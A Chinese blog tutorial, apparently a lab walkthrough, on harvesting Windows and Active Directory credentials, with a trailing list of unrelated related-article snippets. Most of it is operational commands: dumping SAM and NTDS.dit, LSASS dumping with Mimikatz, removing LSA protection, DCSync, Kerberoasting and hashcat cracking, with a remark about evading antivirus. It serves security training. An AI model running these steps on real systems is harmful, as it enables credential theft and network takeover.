内网渗透之凭据收集的各种方式

凭据收集是什么?

凭据收集是获取用户和系统凭据访问权限的术语。 这是一种查找或窃取存储的凭据的技术,包括网络嗅探,攻击者可以在网络嗅探中捕获传输的凭据。
凭证可以有多种不同的形式,例如:

  • 帐户详细信息(用户名和密码)
  • 包括 NTLM 哈希等的哈希。
  • 身份验证票证:票证授予票证(TGT)、票证授予服务器(TGS)
  • 任何有助于登录系统的信息(私钥等)

获得凭据的好处:

  • 它可以提供对系统的访问(横向移动)。
  • 这使得我们的行为更难被发现。
  • 它提供了创建和管理帐户的机会,以帮助实现红队参与的最终目标。

明文文件

攻击者可能会在受感染的计算机上搜索本地或远程文件系统中的凭据。明文文件可能包含用户创建的敏感信息,包括密码、私钥等。
以下是攻击者可能感兴趣的一些明文文件类型:

  • 命令历史记录
  • 配置文件(Web App、FTP文件等)
  • 与 Windows 应用程序相关的其他文件(Internet 浏览器、电子邮件客户端等)
  • 备份文件
  • 共享文件和文件夹
  • 登记处
  • 源代码

powershell历史命令文件

PowerShell将执行的 PowerShell 命令保存在用户配置文件的历史文件中,路径如下:

C:\Users\YOUR_USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

从注册表查询密码信息

在Windows注册表中查找“password”关键字,可以使用以下命令:

reg query HKLM /f password /t REG_SZ /s
# or
reg query HKCU /f password /t REG_SZ /s 

本地 Windows 凭据

Windows操作系统提供两种类型的用户帐户:本地和域。本地用户的详细信息存储在本地 Windows 文件系统中,而域用户的详细信息存储在集中式 Active Directory 中。

卷影复制服务

使用 Microsoft 卷影复制服务,该服务有助于在应用程序在卷上读/写时执行卷备份。获取有关服务的更多信息,可以参考官方文档:

https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service

我们可以使用 wmic 创建卷影副本。这必须通过具有管理员权限的命令提示符来完成,如下所示:

wmic shadowcopy call create Volume='C:\'

image.png
然后使用卷影复制服务管理命令行工具来列出并确认我们拥有卷的卷影副本C:

vssadmin list shadows

image.png
输出显示我们已成功创建 (C:) 的卷影副本卷,路径如下:

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

SAM 数据库使用RC4或AES加密算法进行加密。为了解密它,我们需要一个解密密钥,该密钥也存储在 c:\Windows\System32\Config\system,现在将两个文件(sam 和 system)从我们生成的卷影副本卷复制到桌面,使用以下命令:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system

image.png
现在我们有了两个必需的文件,在后面会讲解如何提取凭据。

注册表提取

Windows 注册表还存储 Windows 服务使用的一些 SAM 数据库内容的副本。我们可以使用 reg.exe 工具保存 Windows 注册表的值。不过要确保可以使用管理员权限

reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
reg save HKLM\system C:\users\Administrator\Desktop\system-reg

image.png

凭据提取

Impacket 工具下载地址:

https://github.com/fortra/impacket

将提取的sam文件和system文件,移到本地机子中,然后使用以下命令:

python3.9 secretsdump.py -sam sam -system system LOCAL

image.png

  • 参数-sam是指定 Windows 机器上转储的 sam 文件的路径。
  • 参数-system是系统文件的路径。
  • LOCAL命令末尾的参数来解密本地 SAM 文件,

一旦我们获得了 NTLM 哈希值,如果它们是可猜测的,我们可以尝试使用 Hashcat 来破解它们,或者我们可以使用不同的技术来使用哈希值来模拟用户。

本地安全机构子系统服务 (LSASS)

什么是LSASS?

本地安全机构服务器服务 (LSASS) 是一个 Windows 进程,用于处理操作系统安全策略并在系统上强制执行。它验证登录帐户并确保密码、哈希值和Kerberos票证。Windows 系统将凭据存储在 LSASS 进程中,使用户能够访问网络资源, 例如文件共享、SharePoint 站点和其他网络服务,而无需在每次用户连接时输入凭据。

LSASS 进程对于红队来说是一个诱人的目标,因为它存储有关用户帐户的敏感信息。LSASS 通常被滥用来转储凭据以提升权限、窃取数据或横向移动。幸运的是,如果我们有管理员权限,我们可以转储 LSASS 的进程内存。Windows 系统允许我们创建转储文件,即给定进程的快照。这可以通过桌面访问 ( GUI ) 或命令提示符来完成。
这种攻击通常定义为: OS Credential Dumping: LSASS Memory (T1003

GUI 转储

Ctrl + Shift + Esc 打开任务管理器,然后找到 lsass.exe 的进程,右键选择创建传储文件
image.png
转储完成后,会弹出一条信息,包含转储文件的路径。
image.png
将它复制到 Mimikatz的文件下,后续进行利用

procdump 转储

ProcDump 是一个从命令提示符运行的 Sysinternals 进程转储实用程序。
下载地址:

https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

可以看见转储过程正在写入磁盘,转储 LSASS 进程是对手使用的一项已知技术。因此,反病毒产品可能会将其标记为恶意。需要免杀
image.png

mimikatz

它可以进行转储内存并提取凭据,不过需要管理员权限。提取登录凭据,使用以下命令:

privilege::debug
sekurlsa::logonpasswords

image.png

转储 + mimikatz凭据提取

通过转储的 lsass.dmp 文件导入到mimikatz中查看凭据

sekurlsa::minidump lsass_dump.dmp
sekurlsa::logonpasswords full
  • full 表示提取所有可用的登录凭据,包括普通用户、管理员和系统级别的凭据。

image.png

受保护的 LSASS

以管理员权限运行 Mimikatz 执行文件并启用调试模式。如果启用了 LSA 保护,执行“sekurlsa::logonpasswords”命令时会出现错误。

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

禁用 LSA 保护。我们可以通过执行以下命令:

!+
!processprotect /process:lsass.exe /remove

再次运行“sekurlsa::logonpasswords”命令,就会显示凭据

Windows 凭据管理器

凭据管理器是一项 Windows 功能,用于存储网站、应用程序和网络的登录敏感信息。它包含登录凭据,例如用户名、密码和互联网地址。凭证类别有四种:

  • Web 凭据包含存储在 Internet 浏览器或其他应用程序中的身份验证详细信息。
  • Windows 凭据包含 Windows 身份验证详细信息,例如NTLM或 Kerberos。
  • 通用凭据包含基本身份验证详细信息,例如明文用户名和密码。
  • 基于证书的凭据:基于认证的详细信息。

列出可用凭证

列出 Windows 目标中当前可用的 Windows 保管库。一个用于 Web,另一个用于 Windows 计算机凭据

vaultcmd /list

image.png
检查 Web 凭据 中是否有任何存储的凭据:

VaultCmd /listproperties:"Web Credentials"

image.png
列出 Web 凭据 的凭据详细信息:

VaultCmd /listcreds:"Web Credentials"

image.png

凭据转储

vautlcmd 无法显示密码,我们可以借助powershell 脚本:

https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1

使用以下命令:

powershell -ex bypass
Import-Module Get-WebCredentials.ps1
Get-WebCredentials

可以看见显示了明文密码
image.png
也可以使用 runas进行凭据传储,首先枚举凭据,显示所有存储的凭据:

cmdkey /list

image.png
使用 runas 命令 以 thm-local 用户执行 cmd.exe 程序

runas /savecred /user:THM.red\thm-local cmd.exe

image.png

mimikatz

显示凭据管理器存储的凭据

privilege::debug
sekurlsa::credman

image.png

域控制器

NTDS域控制器

是一个包含所有 Active Directory 数据的数据库,包括对象、属性、凭据等。NTDS.DTS 数据由三个表组成,如下所示:

  • 模式表:它包含对象的类型及其关系。
  • 链接表:它包含对象的属性及其值。
  • 数据类型:包含用户和组。

NTDS 默认位于C:\Windows\NTDS,并且经过加密以防止从目标计算机提取数据。

Ntdsutil

Ntdsutil 是一个 Windows 实用程序,用于管理和维护 Active Directory 配置。它可以用于各种场景,例如

  • 恢复 Active Directory 中已删除的对象。
  • 对AD数据库进行维护。
  • Active Directory 快照管理。
  • 设置目录服务还原模式 (DSRM) 管理员密码。

官方文档:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753343(v=ws.11)

本地转储

要成功转储 NTDS 文件的内容,我们需要以下文件:

  • C:\Windows\NTDS\ntds.dit
  • C:\Windows\System32\config\SYSTEM
  • C:\Windows\System32\config\SECURITY

使用 Ntdsutil 工具转储 NTDS 文件:

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

image.png
查看 C:\temp目录,我们会看到两个文件夹:Active Directory 和 registry ,其中包含我们需要的三个文件。将它们传输到攻击机中
image.png
使用 Secretsdump.py 脚本以从转储的内存文件中提取哈希值

python3.9 /opt/impacket/examples/secretsdump.py -security registry/SECURITY -system registry/SYSTEM -ntds Active\ Directory/ntds.dit local

image.png

远程转储

脚本下载地址:

https://github.com/fortra/impacket/blob/master/examples/secretsdump.py

提取NTDS 数据,以thm.red 域用户,攻击者利用这些配置来执行域复制, 通常称为“ DC同步”。

python3.9 /opt/impacket/examples/secretsdump.py -just-dc thm.red/thm@10.10.62.108

image.png如果我们只想转储NTLM哈希值,使用以下命令:

python3.9 /opt/impacket/examples/secretsdump.py -just-dc-ntlm thm.red/thm@10.10.62.108

一旦我们获得了哈希值,可以使用 hashcat 工具进行爆破明文密码:

hashcat -m 1000 -a 0 hash rockyou.txt

image.png

LAPS

2015 年,Microsoft 取消了将加密密码存储在 SYSVOL 文件夹中的操作。它推出了本地管理员密码解决方案 (LAPS),该解决方案提供了一种更安全的方法来远程管理本地管理员密码。

枚举 LAPS

检查目标机器上是否安装了LAPS,这可以通过查看目录:

  • LAPS 用于admpwd.dll更改本地管理员密码并更新ms-mcs-AdmPwd
dir "C:\Program Files\LAPS\CSE"

image.png
查看AdmPwdcmdlet 的可用命令:

powershell -ex bypass
Get-Command *AdmPwd*

image.png
寻找 AD组织单元 (OU) 具有处理 LAPS 的“所有扩展权限”属性:

Find-AdmPwdExtendedRights -Identity THMorg *

image.png
OU 其中的组及其成员就是我们的目标,查看该组的成员:

net groups "LAPsReader"

image.png

获取密码

我们发现该bk-admin用户,因此为了获取 LAPS 密码,我们需要破解或冒充 bk-admin 用户。可以启用 LAPS 的 cmdlet 来获取 LAPS 密码:

Get-AdmPwdPassword -ComputerName creds-harvestin

image.png

Kerberoasting

是一种AD攻击技术,针对的是使用 Kerberos 认证的 Windows 网络环境中的弱点。Kerberos 是一种网络认证协议,用于安全地验证用户和服务之间的身份,常用于 Windows 领域环境中的身份验证。

原理

攻击者可以获取到 Active Directory 中的服务账户的哈希值,然后离线地尝试破解这些哈希值,以获取服务账户的明文密码。这些服务账户通常由 Windows 服务使用,例如数据库、Web应用程序等。
攻击步骤:

  • 攻击者在目标环境中收集有关服务账户的信息,这通常可以通过扫描活动目录或其他信息泄漏渠道获得。
  • 攻击者请求服务账户的服务票据(Service Ticket)。
  • 一旦获得服务票据,攻击者将其导出并在离线环境中进行暴力破解,以获取服务账户的明文密码。
  • Kerberoasting 攻击的危害在于,一旦攻击者获取了服务账户的密码,他们可以通过模拟服务账户身份来访问目标系统和资源,可能导致数据泄漏、权限提升等问题。

演示

脚本地址:

https://github.com/fortra/impacket/blob/master/examples/GetUserSPNs.py

使用 GetUserSPNs.py 获取指定用户的 Service Principal Names (SPN)。
image.png
可以看见有一个 SPN 帐户 svc-user。找到 SPN 用户后,现在来获取 srv-user 用户的 TGS 票证:

python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip 10.10.62.108 THM.red/thm -request-user svc-thm

image.png
最后使用 HashCat工具破解获得的TGS票据:

hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt

image.png

关于其他枚举的项目

https://github.com/SnaffCon/Snaffler
https://github.com/GhostPack/Seatbelt
https://www.hackingarticles.in/post-exploitation-on-saved-password-with-lazagne/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/102037.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ESXI主机扩容(VCSA)

原因分析SCSI扩容 VMware为ESXI虚拟机硬盘扩容(需要先关闭ESXI) ESXI扩容前ESXI扩容 https://blog.csdn.net/tongxin_tongmeng/article/details/132652423 ESXI扩容后

2023年8大在线渗透测试工具介绍与分析

随着企业参与数字化运动,网络安全已成为大多数董事会讨论的一个重要方面。事实上,最近的一份报告显示,2022 年网络犯罪造成的损失总额达到惊人的 103 亿美元。 这就是在线渗透测试工具在网络安全中受到关注的地方。 今天,我们希…

安卓核心板的不同核心规格及架构介绍

安卓核心板是将核心功能封装的一块电子主板,集成芯片、存储器和功放器件等,并提供标准接口的芯片。 其特点: ● 能跑 Android 等操作系统 强大的功能及丰富的接口 支持 LCD/TP,Audio,Camera,Video&#…

回归预测 | MATLAB实现PCA-BP主成分降维结合BP神经网络多输入单输出回归预测

回归预测 | MATLAB实现PCA-BP主成分降维结合BP神经网络多输入单输出回归预测 目录 回归预测 | MATLAB实现PCA-BP主成分降维结合BP神经网络多输入单输出回归预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 MATLAB实现PCA-BP主成分降维算法结合BP神经网络多输入单输出回…

Docker部署(5)——使用docker run命令部署运行jar项目

对于一些简单的单体项目,可以使用 docker run 命令可以直接在命令行中运行容器,无需事先构建镜像。这相较于之前使用的 dockerfile 文件来运行部署项目相当于是另外一种简单的部署方法,关于之前使用dockerfile 文件来运行部署这种方法&#x…

uView实现全屏选项卡

// 直接复制粘贴即可使用 <template><view><view class"tabsBox"><u-tabs-swiper ref"uTabs" :list"list":current"current"change"tabsChange":is-scroll"false"></u-tabs-swiper&g…

【高危】Apache Airflow Spark Provider 反序列化漏洞 (CVE-2023-40195)

zhi.oscs1024.com​​​​​ 漏洞类型反序列化发现时间2023-08-29漏洞等级高危MPS编号MPS-qkdx-17bcCVE编号CVE-2023-40195漏洞影响广度广 漏洞危害 OSCS 描述Apache Airflow Spark Provider是Apache Airflow项目的一个插件&#xff0c;用于在Airflow中管理和调度Apache Spar…

stm32之30.DMA

DMA&#xff08;硬件加速方法&#xff09;一般用于帮运比较大的数据&#xff08;如&#xff1a;摄像头数据图像传输&#xff09;&#xff0c;寄存器-》DMA-》RAM 或者 RAM-》DMA-》寄存器提高CPU的工作效率 源码-- #include "myhead.h" #include "adc.h"#…

【LeetCode - 每日一题】2594. 修车的最少时间(23.09.07)

2594. 修车的最少时间 题意 给定每个师傅修车的时间和需要修的车辆总数&#xff0c;计算修理所有汽车需要的最少时间。师傅可以同时修车。 解法 二分 看到题目没有任何头绪&#xff0c;直接查看题解。 至于为什么用二分做呢&#xff0c;讨论区有个友友这么说到&#xff1a…

Web安全——穷举爆破下篇(仅供学习)

Web安全 一、常见的端口服务穷举1、hydra 密码穷举工具的使用2、使用 hydra 穷举 ssh 服务3、使用 hydra 穷举 ftp 服务4、使用 hydra 穷举 mysql 服务5、使用 hydra 穷举 smb 服务6、使用 hydra 穷举 http 服务7、使用 hydra 穷举 pop3 服务8、使用 hydra 穷举 rdp 服务9、使用…

异常的顶级理解

目录 1.异常的概念与体系结构 1.1异常的体系结构 1.2异常的举例 1.3错误的举例 2.异常的分类 2.1编译时异常 2.2运行时异常 3.异常的处理 3.1异常的抛出throw 3.2try-catch捕获并处理 3.3finally 3.4 异常声明throws 4.自定义异常类 1.异常的概念与体系结构 1.1异常的…

华为三层交换机与路由器对接上网

华为三层交换机与路由器对接上网